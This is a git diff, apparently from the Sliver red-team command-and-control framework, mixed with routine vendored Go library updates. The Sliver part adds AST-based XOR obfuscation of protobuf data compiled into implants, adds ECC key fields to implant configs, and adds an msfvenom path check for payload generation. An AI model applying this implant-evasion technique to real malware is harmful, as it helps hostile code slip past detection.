@@ -173,8 +173,7 @@ func (PeerFailureType) EnumDescriptor() ([]byte, []int) {
|
||||
}
|
||||
|
||||
// Envelope - Used to encode implant<->server messages since we
|
||||
//
|
||||
// cannot use gRPC due to the various transports used.
|
||||
// cannot use gRPC due to the various transports used.
|
||||
type Envelope struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -747,8 +746,7 @@ func (x *CloseSession) GetRequest() *commonpb.Request {
|
||||
}
|
||||
|
||||
// Ping - Not ICMP, just sends a rount trip message to an implant to
|
||||
//
|
||||
// see if it's still responding.
|
||||
// see if it's still responding.
|
||||
type Ping struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -2936,8 +2934,7 @@ func (x *CurrentTokenOwner) GetResponse() *commonpb.Response {
|
||||
}
|
||||
|
||||
// InvokeGetSystemReq - Implant-side version of GetSystemReq, this message
|
||||
//
|
||||
// contains the .Data based on the client's req.Config
|
||||
// contains the .Data based on the client's req.Config
|
||||
type InvokeGetSystemReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -21,8 +21,13 @@ package assets
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"go/ast"
|
||||
"go/parser"
|
||||
"go/printer"
|
||||
"go/token"
|
||||
"io"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
@@ -256,6 +261,7 @@ func SetupGoPath(goPathSrc string) error {
|
||||
setupLog.Info("Static asset not found: constants.go")
|
||||
return err
|
||||
}
|
||||
sliverpbGoSrc = xorPBRawBytes(sliverpbGoSrc)
|
||||
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
|
||||
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
|
||||
os.MkdirAll(sliverpbDir, 0700)
|
||||
@@ -268,6 +274,7 @@ func SetupGoPath(goPathSrc string) error {
|
||||
setupLog.Info("Static asset not found: common.pb.go")
|
||||
return err
|
||||
}
|
||||
commonpbSrc = xorPBRawBytes(commonpbSrc)
|
||||
commonpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
|
||||
os.MkdirAll(commonpbDir, 0700)
|
||||
os.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
|
||||
@@ -278,6 +285,7 @@ func SetupGoPath(goPathSrc string) error {
|
||||
setupLog.Info("Static asset not found: dns.pb.go")
|
||||
return err
|
||||
}
|
||||
dnspbSrc = xorPBRawBytes(dnspbSrc)
|
||||
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
|
||||
os.MkdirAll(dnspbDir, 0700)
|
||||
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
|
||||
@@ -306,6 +314,208 @@ func stripSliverpb(src []byte) []byte {
|
||||
return out
|
||||
}
|
||||
|
||||
func xorPBRawBytes(src []byte) []byte {
|
||||
var (
|
||||
fileAst *ast.File
|
||||
err error
|
||||
sliverpbVarName = "file_sliverpb_sliver_proto_rawDesc"
|
||||
sliverPbProtoInitFuncName = "file_sliverpb_sliver_proto_init"
|
||||
fset = token.NewFileSet()
|
||||
parserMode = parser.ParseComments
|
||||
)
|
||||
fileAst, err = parser.ParseFile(fset, "", src, parserMode)
|
||||
if err != nil {
|
||||
// Panic because this is mandatory for the agent to work
|
||||
panic(err)
|
||||
}
|
||||
var xorKey [8]byte
|
||||
// generate random xor key
|
||||
if _, err := insecureRand.Read(xorKey[:]); err != nil {
|
||||
// Panic because this is mandatory for the agent to work
|
||||
panic(err)
|
||||
}
|
||||
|
||||
ast.Inspect(fileAst, func(n ast.Node) bool {
|
||||
switch node := n.(type) {
|
||||
// Look for the protobuf init function and decode the XORed
|
||||
// data at the top of the function
|
||||
case *ast.FuncDecl:
|
||||
// add an ast.AssignStmt at the top of the function Body
|
||||
// that calls the xor function on the file_sliverpb_sliver_proto_rawDesc object
|
||||
if node.Name.Name == sliverPbProtoInitFuncName {
|
||||
newStmt := &ast.AssignStmt{
|
||||
Lhs: []ast.Expr{
|
||||
ast.NewIdent(sliverpbVarName),
|
||||
},
|
||||
Tok: token.ASSIGN,
|
||||
Rhs: []ast.Expr{
|
||||
&ast.CallExpr{
|
||||
Fun: ast.NewIdent("xor"),
|
||||
Args: []ast.Expr{
|
||||
ast.NewIdent(sliverpbVarName),
|
||||
ast.NewIdent("xorKey"),
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
node.Body.List = append([]ast.Stmt{newStmt}, node.Body.List...)
|
||||
}
|
||||
|
||||
// Look for the protobuf rawDesc variable and XOR each byte
|
||||
case *ast.GenDecl:
|
||||
for _, spec := range node.Specs {
|
||||
switch spec := spec.(type) {
|
||||
case *ast.ValueSpec:
|
||||
for _, id := range spec.Names {
|
||||
if id.Name == sliverpbVarName {
|
||||
values := spec.Values[0].(*ast.CompositeLit).Elts
|
||||
// XOR each value of the slice
|
||||
for i, v := range values {
|
||||
elt := v.(*ast.BasicLit)
|
||||
elt.Value = xorByte(elt.Value, xorKey[i%len(xorKey)])
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
default:
|
||||
}
|
||||
}
|
||||
default:
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
// Add the XOR function to the AST
|
||||
fileAst.Decls = append(fileAst.Decls, ast.Decl(&ast.FuncDecl{
|
||||
Name: ast.NewIdent("xor"),
|
||||
Type: &ast.FuncType{
|
||||
Params: &ast.FieldList{
|
||||
List: []*ast.Field{
|
||||
{
|
||||
Names: []*ast.Ident{ast.NewIdent("input")},
|
||||
Type: ast.NewIdent("[]byte"),
|
||||
},
|
||||
{
|
||||
Names: []*ast.Ident{ast.NewIdent("key")},
|
||||
Type: ast.NewIdent("[]byte"),
|
||||
},
|
||||
},
|
||||
},
|
||||
Results: &ast.FieldList{
|
||||
List: []*ast.Field{
|
||||
{
|
||||
Type: ast.NewIdent("[]byte"),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
Body: &ast.BlockStmt{
|
||||
List: []ast.Stmt{
|
||||
&ast.AssignStmt{
|
||||
Lhs: []ast.Expr{
|
||||
ast.NewIdent("out"),
|
||||
},
|
||||
Tok: token.DEFINE,
|
||||
Rhs: []ast.Expr{
|
||||
&ast.CallExpr{
|
||||
Fun: ast.NewIdent("make"),
|
||||
Args: []ast.Expr{
|
||||
&ast.ArrayType{
|
||||
Elt: ast.NewIdent("byte"),
|
||||
},
|
||||
&ast.CallExpr{
|
||||
Fun: ast.NewIdent("len"),
|
||||
Args: []ast.Expr{
|
||||
ast.NewIdent("input"),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
&ast.RangeStmt{
|
||||
Key: ast.NewIdent("i"),
|
||||
Value: ast.NewIdent("_"),
|
||||
Tok: token.DEFINE,
|
||||
X: ast.NewIdent("input"),
|
||||
Body: &ast.BlockStmt{
|
||||
List: []ast.Stmt{
|
||||
&ast.AssignStmt{
|
||||
Lhs: []ast.Expr{
|
||||
&ast.IndexExpr{
|
||||
X: ast.NewIdent("out"),
|
||||
Index: ast.NewIdent("i"),
|
||||
},
|
||||
},
|
||||
Tok: token.ASSIGN,
|
||||
Rhs: []ast.Expr{
|
||||
&ast.BinaryExpr{
|
||||
X: &ast.IndexExpr{
|
||||
X: ast.NewIdent("input"),
|
||||
Index: ast.NewIdent("i"),
|
||||
},
|
||||
Op: token.XOR,
|
||||
Y: &ast.IndexExpr{
|
||||
X: ast.NewIdent("key"),
|
||||
Index: &ast.BinaryExpr{
|
||||
X: &ast.Ident{
|
||||
Name: "i",
|
||||
},
|
||||
Op: token.REM,
|
||||
Y: &ast.CallExpr{
|
||||
Fun: ast.NewIdent("len"),
|
||||
Args: []ast.Expr{
|
||||
ast.NewIdent("key"),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
&ast.ReturnStmt{
|
||||
Results: []ast.Expr{
|
||||
ast.NewIdent("out"),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}))
|
||||
|
||||
xorTokens := make([]ast.Expr, len(xorKey))
|
||||
// map xorKey to a slice of ast.BasicLit
|
||||
for i, b := range xorKey {
|
||||
xorTokens[i] = &ast.BasicLit{
|
||||
Kind: token.INT,
|
||||
Value: fmt.Sprintf("0x%x", b),
|
||||
}
|
||||
}
|
||||
|
||||
// add the global xorKey variable to the AST
|
||||
fileAst.Decls = append(fileAst.Decls, ast.Decl(&ast.GenDecl{
|
||||
Tok: token.VAR,
|
||||
Specs: []ast.Spec{
|
||||
&ast.ValueSpec{
|
||||
Names: []*ast.Ident{ast.NewIdent("xorKey")},
|
||||
Values: []ast.Expr{
|
||||
&ast.CompositeLit{
|
||||
Type: ast.NewIdent("[]byte"),
|
||||
Elts: xorTokens,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}))
|
||||
|
||||
outBuff := bytes.Buffer{}
|
||||
// Render the AST as Go code
|
||||
printer.Fprint(&outBuff, fset, fileAst)
|
||||
return outBuff.Bytes()
|
||||
}
|
||||
|
||||
func setupCodenames(appDir string) error {
|
||||
nouns, err := assetsFs.ReadFile("fs/nouns.txt")
|
||||
if err != nil {
|
||||
@@ -426,3 +636,18 @@ func pseudoRandStringRunes(n int) string {
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func xorByte(raw string, key byte) string {
|
||||
// strip 0x
|
||||
raw = raw[2:]
|
||||
if len(raw) == 1 {
|
||||
// Because we got `0x8` at some point
|
||||
raw = fmt.Sprintf("0%s", raw)
|
||||
}
|
||||
hexByte, err := hex.DecodeString(raw)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
newByte := hex.EncodeToString([]byte{hexByte[0] ^ key})
|
||||
return fmt.Sprintf("0x%s", newByte)
|
||||
}
|
||||
+2
-1
@@ -108,7 +108,7 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
|
||||
<-job.JobCtrl
|
||||
jobLog.Infof("Stopping wg listener (%d) ...", job.ID)
|
||||
ticker.Stop()
|
||||
done <- true
|
||||
|
||||
err = ln.Close() // Kills listener GoRoutines in StartWGListener()
|
||||
if err != nil {
|
||||
jobLog.Fatal("Error closing listener", err)
|
||||
@@ -118,6 +118,7 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
|
||||
jobLog.Fatal("Error closing wg tunnel", err)
|
||||
}
|
||||
core.Jobs.Remove(job)
|
||||
done <- true
|
||||
}()
|
||||
core.Jobs.Add(job)
|
||||
|
||||
|
||||
@@ -87,6 +87,7 @@ type ImplantConfig struct {
|
||||
MtlsKey string
|
||||
|
||||
Debug bool
|
||||
DebugFile string
|
||||
Evasion bool
|
||||
ObfuscateSymbols bool
|
||||
ReconnectInterval int64
|
||||
@@ -151,14 +152,17 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
BeaconInterval: ic.BeaconInterval,
|
||||
BeaconJitter: ic.BeaconJitter,
|
||||
|
||||
GOOS: ic.GOOS,
|
||||
GOARCH: ic.GOARCH,
|
||||
|
||||
MtlsCACert: ic.MtlsCACert,
|
||||
MtlsCert: ic.MtlsCert,
|
||||
MtlsKey: ic.MtlsKey,
|
||||
GOOS: ic.GOOS,
|
||||
GOARCH: ic.GOARCH,
|
||||
ECCServerPublicKey: ic.ECCServerPublicKey,
|
||||
ECCPublicKey: ic.ECCPublicKey,
|
||||
ECCPrivateKey: ic.ECCPrivateKey,
|
||||
MtlsCACert: ic.MtlsCACert,
|
||||
MtlsCert: ic.MtlsCert,
|
||||
MtlsKey: ic.MtlsKey,
|
||||
|
||||
Debug: ic.Debug,
|
||||
DebugFile: ic.DebugFile,
|
||||
Evasion: ic.Evasion,
|
||||
ObfuscateSymbols: ic.ObfuscateSymbols,
|
||||
TemplateName: ic.TemplateName,
|
||||
@@ -186,7 +190,6 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
|
||||
FileName: ic.FileName,
|
||||
}
|
||||
|
||||
// Copy Canary Domains
|
||||
config.CanaryDomains = []string{}
|
||||
for _, canaryDomain := range ic.CanaryDomains {
|
||||
|
||||
@@ -142,12 +142,17 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
|
||||
cfg.BeaconInterval = pbConfig.BeaconInterval
|
||||
cfg.BeaconJitter = pbConfig.BeaconJitter
|
||||
|
||||
cfg.ECCServerPublicKey = pbConfig.ECCServerPublicKey
|
||||
cfg.ECCPrivateKey = pbConfig.ECCPrivateKey
|
||||
cfg.ECCPublicKey = pbConfig.ECCPublicKey
|
||||
|
||||
cfg.GOOS = pbConfig.GOOS
|
||||
cfg.GOARCH = pbConfig.GOARCH
|
||||
cfg.MtlsCACert = pbConfig.MtlsCACert
|
||||
cfg.MtlsCert = pbConfig.MtlsCert
|
||||
cfg.MtlsKey = pbConfig.MtlsKey
|
||||
cfg.Debug = pbConfig.Debug
|
||||
cfg.DebugFile = pbConfig.DebugFile
|
||||
cfg.Evasion = pbConfig.Evasion
|
||||
cfg.ObfuscateSymbols = pbConfig.ObfuscateSymbols
|
||||
cfg.TemplateName = pbConfig.TemplateName
|
||||
|
||||
+5
-2
@@ -123,7 +123,10 @@ func Version() (string, error) {
|
||||
|
||||
// VenomPayload - Generates an MSFVenom payload
|
||||
func VenomPayload(config VenomConfig) ([]byte, error) {
|
||||
|
||||
// Check if msfvenom is in the path
|
||||
if _, err := exec.LookPath(venomBin); err != nil {
|
||||
return nil, fmt.Errorf("msfvenom not found in PATH")
|
||||
}
|
||||
// OS
|
||||
if _, ok := validPayloads[config.Os]; !ok {
|
||||
return nil, fmt.Errorf(fmt.Sprintf("Invalid operating system: %s", config.Os))
|
||||
@@ -164,7 +167,7 @@ func VenomPayload(config VenomConfig) ([]byte, error) {
|
||||
"--payload", payload,
|
||||
fmt.Sprintf("LHOST=%s", config.LHost),
|
||||
fmt.Sprintf("LPORT=%d", config.LPort),
|
||||
fmt.Sprintf("EXITFUNC=thread"),
|
||||
"EXITFUNC=thread",
|
||||
}
|
||||
|
||||
if luri != "" {
|
||||
|
||||
+8
-8
@@ -1,12 +1,12 @@
|
||||
sudo: false
|
||||
language: go
|
||||
go_import_path: github.com/dustin/go-humanize
|
||||
go:
|
||||
- 1.3.x
|
||||
- 1.5.x
|
||||
- 1.6.x
|
||||
- 1.7.x
|
||||
- 1.8.x
|
||||
- 1.9.x
|
||||
- 1.13.x
|
||||
- 1.14.x
|
||||
- 1.15.x
|
||||
- 1.16.x
|
||||
- stable
|
||||
- master
|
||||
matrix:
|
||||
allow_failures:
|
||||
@@ -15,7 +15,7 @@ matrix:
|
||||
install:
|
||||
- # Do nothing. This is needed to prevent default install action "go get -t -v ./..." from happening here (we want it to happen inside script step).
|
||||
script:
|
||||
- go get -t -v ./...
|
||||
- diff -u <(echo -n) <(gofmt -d -s .)
|
||||
- go tool vet .
|
||||
- go vet .
|
||||
- go install -v -race ./...
|
||||
- go test -v -race ./...
|
||||
+1
-1
@@ -5,7 +5,7 @@ Just a few functions for helping humanize times and sizes.
|
||||
`go get` it as `github.com/dustin/go-humanize`, import it as
|
||||
`"github.com/dustin/go-humanize"`, use it as `humanize`.
|
||||
|
||||
See [godoc](https://godoc.org/github.com/dustin/go-humanize) for
|
||||
See [godoc](https://pkg.go.dev/github.com/dustin/go-humanize) for
|
||||
complete documentation.
|
||||
|
||||
## Sizes
|
||||
|
||||
+18
-2
@@ -28,6 +28,10 @@ var (
|
||||
BigZiByte = (&big.Int{}).Mul(BigEiByte, bigIECExp)
|
||||
// BigYiByte is 1,024 z bytes in bit.Ints
|
||||
BigYiByte = (&big.Int{}).Mul(BigZiByte, bigIECExp)
|
||||
// BigRiByte is 1,024 y bytes in bit.Ints
|
||||
BigRiByte = (&big.Int{}).Mul(BigYiByte, bigIECExp)
|
||||
// BigQiByte is 1,024 r bytes in bit.Ints
|
||||
BigQiByte = (&big.Int{}).Mul(BigRiByte, bigIECExp)
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -51,6 +55,10 @@ var (
|
||||
BigZByte = (&big.Int{}).Mul(BigEByte, bigSIExp)
|
||||
// BigYByte is 1,000 SI z bytes in big.Ints
|
||||
BigYByte = (&big.Int{}).Mul(BigZByte, bigSIExp)
|
||||
// BigRByte is 1,000 SI y bytes in big.Ints
|
||||
BigRByte = (&big.Int{}).Mul(BigYByte, bigSIExp)
|
||||
// BigQByte is 1,000 SI r bytes in big.Ints
|
||||
BigQByte = (&big.Int{}).Mul(BigRByte, bigSIExp)
|
||||
)
|
||||
|
||||
var bigBytesSizeTable = map[string]*big.Int{
|
||||
@@ -71,6 +79,10 @@ var bigBytesSizeTable = map[string]*big.Int{
|
||||
"zb": BigZByte,
|
||||
"yib": BigYiByte,
|
||||
"yb": BigYByte,
|
||||
"rib": BigRiByte,
|
||||
"rb": BigRByte,
|
||||
"qib": BigQiByte,
|
||||
"qb": BigQByte,
|
||||
// Without suffix
|
||||
"": BigByte,
|
||||
"ki": BigKiByte,
|
||||
@@ -89,6 +101,10 @@ var bigBytesSizeTable = map[string]*big.Int{
|
||||
"zi": BigZiByte,
|
||||
"y": BigYByte,
|
||||
"yi": BigYiByte,
|
||||
"r": BigRByte,
|
||||
"ri": BigRiByte,
|
||||
"q": BigQByte,
|
||||
"qi": BigQiByte,
|
||||
}
|
||||
|
||||
var ten = big.NewInt(10)
|
||||
@@ -115,7 +131,7 @@ func humanateBigBytes(s, base *big.Int, sizes []string) string {
|
||||
//
|
||||
// BigBytes(82854982) -> 83 MB
|
||||
func BigBytes(s *big.Int) string {
|
||||
sizes := []string{"B", "kB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"}
|
||||
sizes := []string{"B", "kB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB", "RB", "QB"}
|
||||
return humanateBigBytes(s, bigSIExp, sizes)
|
||||
}
|
||||
|
||||
@@ -125,7 +141,7 @@ func BigBytes(s *big.Int) string {
|
||||
//
|
||||
// BigIBytes(82854982) -> 79 MiB
|
||||
func BigIBytes(s *big.Int) string {
|
||||
sizes := []string{"B", "KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"}
|
||||
sizes := []string{"B", "KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB", "RiB", "QiB"}
|
||||
return humanateBigBytes(s, bigIECExp, sizes)
|
||||
}
|
||||
|
||||
|
||||
+1
@@ -1,3 +1,4 @@
|
||||
//go:build go1.6
|
||||
// +build go1.6
|
||||
|
||||
package humanize
|
||||
|
||||
+3
@@ -6,6 +6,9 @@ import (
|
||||
)
|
||||
|
||||
func stripTrailingZeros(s string) string {
|
||||
if !strings.ContainsRune(s, '.') {
|
||||
return s
|
||||
}
|
||||
offset := len(s) - 1
|
||||
for offset > 0 {
|
||||
if s[offset] == '.' {
|
||||
|
||||
+1
-1
@@ -73,7 +73,7 @@ func FormatFloat(format string, n float64) string {
|
||||
if n > math.MaxFloat64 {
|
||||
return "Infinity"
|
||||
}
|
||||
if n < -math.MaxFloat64 {
|
||||
if n < (0.0 - math.MaxFloat64) {
|
||||
return "-Infinity"
|
||||
}
|
||||
|
||||
|
||||
+4
@@ -8,6 +8,8 @@ import (
|
||||
)
|
||||
|
||||
var siPrefixTable = map[float64]string{
|
||||
-30: "q", // quecto
|
||||
-27: "r", // ronto
|
||||
-24: "y", // yocto
|
||||
-21: "z", // zepto
|
||||
-18: "a", // atto
|
||||
@@ -25,6 +27,8 @@ var siPrefixTable = map[float64]string{
|
||||
18: "E", // exa
|
||||
21: "Z", // zetta
|
||||
24: "Y", // yotta
|
||||
27: "R", // ronna
|
||||
30: "Q", // quetta
|
||||
}
|
||||
|
||||
var revSIPrefixTable = revfmap(siPrefixTable)
|
||||
|
||||
+7
-1
@@ -386,8 +386,14 @@ func (u *Unmarshaler) unmarshalMessage(m protoreflect.Message, in []byte) error
|
||||
}
|
||||
|
||||
func isSingularWellKnownValue(fd protoreflect.FieldDescriptor) bool {
|
||||
if fd.Cardinality() == protoreflect.Repeated {
|
||||
return false
|
||||
}
|
||||
if md := fd.Message(); md != nil {
|
||||
return md.FullName() == "google.protobuf.Value" && fd.Cardinality() != protoreflect.Repeated
|
||||
return md.FullName() == "google.protobuf.Value"
|
||||
}
|
||||
if ed := fd.Enum(); ed != nil {
|
||||
return ed.FullName() == "google.protobuf.NullValue"
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
+1
@@ -1,3 +1,4 @@
|
||||
//go:build !windows
|
||||
// +build !windows
|
||||
|
||||
package mousetrap
|
||||
|
||||
+20
-76
@@ -1,79 +1,30 @@
|
||||
// +build windows
|
||||
// +build !go1.4
|
||||
|
||||
package mousetrap
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
// defined by the Win32 API
|
||||
th32cs_snapprocess uintptr = 0x2
|
||||
)
|
||||
|
||||
var (
|
||||
kernel = syscall.MustLoadDLL("kernel32.dll")
|
||||
CreateToolhelp32Snapshot = kernel.MustFindProc("CreateToolhelp32Snapshot")
|
||||
Process32First = kernel.MustFindProc("Process32FirstW")
|
||||
Process32Next = kernel.MustFindProc("Process32NextW")
|
||||
)
|
||||
|
||||
// ProcessEntry32 structure defined by the Win32 API
|
||||
type processEntry32 struct {
|
||||
dwSize uint32
|
||||
cntUsage uint32
|
||||
th32ProcessID uint32
|
||||
th32DefaultHeapID int
|
||||
th32ModuleID uint32
|
||||
cntThreads uint32
|
||||
th32ParentProcessID uint32
|
||||
pcPriClassBase int32
|
||||
dwFlags uint32
|
||||
szExeFile [syscall.MAX_PATH]uint16
|
||||
}
|
||||
|
||||
func getProcessEntry(pid int) (pe *processEntry32, err error) {
|
||||
snapshot, _, e1 := CreateToolhelp32Snapshot.Call(th32cs_snapprocess, uintptr(0))
|
||||
if snapshot == uintptr(syscall.InvalidHandle) {
|
||||
err = fmt.Errorf("CreateToolhelp32Snapshot: %v", e1)
|
||||
return
|
||||
}
|
||||
defer syscall.CloseHandle(syscall.Handle(snapshot))
|
||||
|
||||
var processEntry processEntry32
|
||||
processEntry.dwSize = uint32(unsafe.Sizeof(processEntry))
|
||||
ok, _, e1 := Process32First.Call(snapshot, uintptr(unsafe.Pointer(&processEntry)))
|
||||
if ok == 0 {
|
||||
err = fmt.Errorf("Process32First: %v", e1)
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
if processEntry.th32ProcessID == uint32(pid) {
|
||||
pe = &processEntry
|
||||
return
|
||||
}
|
||||
|
||||
ok, _, e1 = Process32Next.Call(snapshot, uintptr(unsafe.Pointer(&processEntry)))
|
||||
if ok == 0 {
|
||||
err = fmt.Errorf("Process32Next: %v", e1)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getppid() (pid int, err error) {
|
||||
pe, err := getProcessEntry(os.Getpid())
|
||||
func getProcessEntry(pid int) (*syscall.ProcessEntry32, error) {
|
||||
snapshot, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return
|
||||
return nil, err
|
||||
}
|
||||
defer syscall.CloseHandle(snapshot)
|
||||
var procEntry syscall.ProcessEntry32
|
||||
procEntry.Size = uint32(unsafe.Sizeof(procEntry))
|
||||
if err = syscall.Process32First(snapshot, &procEntry); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for {
|
||||
if procEntry.ProcessID == uint32(pid) {
|
||||
return &procEntry, nil
|
||||
}
|
||||
err = syscall.Process32Next(snapshot, &procEntry)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
pid = int(pe.th32ParentProcessID)
|
||||
return
|
||||
}
|
||||
|
||||
// StartedByExplorer returns true if the program was invoked by the user double-clicking
|
||||
@@ -83,16 +34,9 @@ func getppid() (pid int, err error) {
|
||||
// It does not guarantee that the program was run from a terminal. It only can tell you
|
||||
// whether it was launched from explorer.exe
|
||||
func StartedByExplorer() bool {
|
||||
ppid, err := getppid()
|
||||
pe, err := getProcessEntry(syscall.Getppid())
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
pe, err := getProcessEntry(ppid)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
name := syscall.UTF16ToString(pe.szExeFile[:])
|
||||
return name == "explorer.exe"
|
||||
return "explorer.exe" == syscall.UTF16ToString(pe.ExeFile[:])
|
||||
}
|
||||
-46
@@ -1,46 +0,0 @@
|
||||
// +build windows
|
||||
// +build go1.4
|
||||
|
||||
package mousetrap
|
||||
|
||||
import (
|
||||
"os"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func getProcessEntry(pid int) (*syscall.ProcessEntry32, error) {
|
||||
snapshot, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer syscall.CloseHandle(snapshot)
|
||||
var procEntry syscall.ProcessEntry32
|
||||
procEntry.Size = uint32(unsafe.Sizeof(procEntry))
|
||||
if err = syscall.Process32First(snapshot, &procEntry); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for {
|
||||
if procEntry.ProcessID == uint32(pid) {
|
||||
return &procEntry, nil
|
||||
}
|
||||
err = syscall.Process32Next(snapshot, &procEntry)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// StartedByExplorer returns true if the program was invoked by the user double-clicking
|
||||
// on the executable from explorer.exe
|
||||
//
|
||||
// It is conservative and returns false if any of the internal calls fail.
|
||||
// It does not guarantee that the program was run from a terminal. It only can tell you
|
||||
// whether it was launched from explorer.exe
|
||||
func StartedByExplorer() bool {
|
||||
pe, err := getProcessEntry(os.Getppid())
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return "explorer.exe" == syscall.UTF16ToString(pe.ExeFile[:])
|
||||
}
|
||||
+1
-1
@@ -78,7 +78,7 @@ A not-so-up-to-date-list-that-may-be-actually-current:
|
||||
* https://fleetdeck.io/
|
||||
* https://github.com/markdingo/autoreverse
|
||||
* https://github.com/slackhq/nebula
|
||||
* https://github.com/dnschecktool/dow-proxy
|
||||
* https://addr.tools/
|
||||
* https://dnscheck.tools/
|
||||
* https://github.com/egbakou/domainverifier
|
||||
|
||||
|
||||
+15
-29
@@ -6,7 +6,6 @@ import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
@@ -56,14 +55,20 @@ type Client struct {
|
||||
// Timeout is a cumulative timeout for dial, write and read, defaults to 0 (disabled) - overrides DialTimeout, ReadTimeout,
|
||||
// WriteTimeout when non-zero. Can be overridden with net.Dialer.Timeout (see Client.ExchangeWithDialer and
|
||||
// Client.Dialer) or context.Context.Deadline (see ExchangeContext)
|
||||
Timeout time.Duration
|
||||
DialTimeout time.Duration // net.DialTimeout, defaults to 2 seconds, or net.Dialer.Timeout if expiring earlier - overridden by Timeout when that value is non-zero
|
||||
ReadTimeout time.Duration // net.Conn.SetReadTimeout value for connections, defaults to 2 seconds - overridden by Timeout when that value is non-zero
|
||||
WriteTimeout time.Duration // net.Conn.SetWriteTimeout value for connections, defaults to 2 seconds - overridden by Timeout when that value is non-zero
|
||||
TsigSecret map[string]string // secret(s) for Tsig map[<zonename>]<base64 secret>, zonename must be in canonical form (lowercase, fqdn, see RFC 4034 Section 6.2)
|
||||
TsigProvider TsigProvider // An implementation of the TsigProvider interface. If defined it replaces TsigSecret and is used for all TSIG operations.
|
||||
SingleInflight bool // if true suppress multiple outstanding queries for the same Qname, Qtype and Qclass
|
||||
group singleflight
|
||||
Timeout time.Duration
|
||||
DialTimeout time.Duration // net.DialTimeout, defaults to 2 seconds, or net.Dialer.Timeout if expiring earlier - overridden by Timeout when that value is non-zero
|
||||
ReadTimeout time.Duration // net.Conn.SetReadTimeout value for connections, defaults to 2 seconds - overridden by Timeout when that value is non-zero
|
||||
WriteTimeout time.Duration // net.Conn.SetWriteTimeout value for connections, defaults to 2 seconds - overridden by Timeout when that value is non-zero
|
||||
TsigSecret map[string]string // secret(s) for Tsig map[<zonename>]<base64 secret>, zonename must be in canonical form (lowercase, fqdn, see RFC 4034 Section 6.2)
|
||||
TsigProvider TsigProvider // An implementation of the TsigProvider interface. If defined it replaces TsigSecret and is used for all TSIG operations.
|
||||
|
||||
// SingleInflight previously serialised multiple concurrent queries for the
|
||||
// same Qname, Qtype and Qclass to ensure only one would be in flight at a
|
||||
// time.
|
||||
//
|
||||
// Deprecated: This is a no-op. Callers should implement their own in flight
|
||||
// query caching if needed. See github.com/miekg/dns/issues/1449.
|
||||
SingleInflight bool
|
||||
}
|
||||
|
||||
// Exchange performs a synchronous UDP query. It sends the message m to the address
|
||||
@@ -185,26 +190,7 @@ func (c *Client) ExchangeWithConn(m *Msg, conn *Conn) (r *Msg, rtt time.Duration
|
||||
return c.exchangeWithConnContext(context.Background(), m, conn)
|
||||
}
|
||||
|
||||
func (c *Client) exchangeWithConnContext(ctx context.Context, m *Msg, conn *Conn) (r *Msg, rtt time.Duration, err error) {
|
||||
if !c.SingleInflight {
|
||||
